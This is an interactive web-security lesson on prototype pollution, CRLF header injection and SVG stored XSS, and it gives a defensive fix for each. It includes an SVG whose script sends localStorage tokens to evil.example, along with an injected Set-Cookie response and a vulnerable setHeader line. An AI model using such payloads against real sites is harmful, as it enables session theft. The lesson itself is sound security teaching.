Track 08 · Lesson 13 of 20Attacks and defenses

Track 08 · Attacks and defenses

Prototype pollution, CRLF and SVG

Lesson 13 of 20· 9 min

Three bugs that hide inside ordinary features: merging JSON, setting a header, accepting an image. Each turns a harmless-looking input into something that changes far more than it should.

Pollute the prototype

Send each payload, then change how the server merges

Prototype pollution#

Every JavaScript object inherits from Object.prototype. A careless deep merge that copies keys like __proto__ or constructor.prototype from user JSON writes onto that shared prototype, and suddenly every object in the process has isAdmin: true. The damage appears in unrelated code that reads a property it never set. Validate input against a schema, skip those keys when merging, or build objects with Object.create(null), and keep merge libraries patched.

Break a header

Inject a cookie, then switch to request smuggling

res.setHeader("Location", "/?lang=" + req.query.lang)

The raw response

HTTP/1.1 302 FoundLocation: /?lang=frSet-Cookie: session=attacker123Content-Length: 0
Injected. The value’s %0D%0A became a real line break, so everything after it is a new header line the attacker wrote.

CRLF injection and request smuggling#

HTTP separates header lines with a carriage return and line feed (\r\n, or %0D%0A in a URL). If user input reaches a header unfiltered, a line break in it starts a new header, or even a body. Request smuggling is the same idea one level down: when your proxy and your app disagree about where a request ends, an attacker hides a second request inside the first. Patched HTTP libraries reject both; never put raw user input into headers.

Upload an SVG

Change how it’s served and how it’s viewed

avatar.svg, as uploaded

<svg xmlns="http://www.w3.org/2000/svg" width="96" height="96">
  <circle cx="48" cy="48" r="44" fill="#d4f02b"/>
  <script>fetch("https://evil.example/?t=" + localStorage.token)</script>
</svg>
How you serve it
How someone sees it

Response headers

Content-Type: image/svg+xml
The script runs on app.example.com. Opening the image URL makes the SVG a page on your origin, so its script can read storage, call your API with the visitor’s session and send it away. It’s stored XSS.

SVG and CSP sandbox#

An SVG is an image and also an XML document that can contain script. Shown with <img>, its script never runs; opened directly from your domain, it becomes a page on your origin and its script runs with your users’ sessions. Serve uploads from a separate domain, convert them to PNG, or send Content-Security-Policy: sandbox with them so they can’t run script anywhere.

Next.js’s image optimizer refuses SVG by default for exactly this reason. If you turn on images.dangerouslyAllowSVG, its docs recommend also setting contentDispositionType (so the browser downloads the file instead of opening it) and a contentSecurityPolicy that stops embedded scripts.

Check yourself

Why is an uploaded SVG risky even if it's shown safely in an img tag?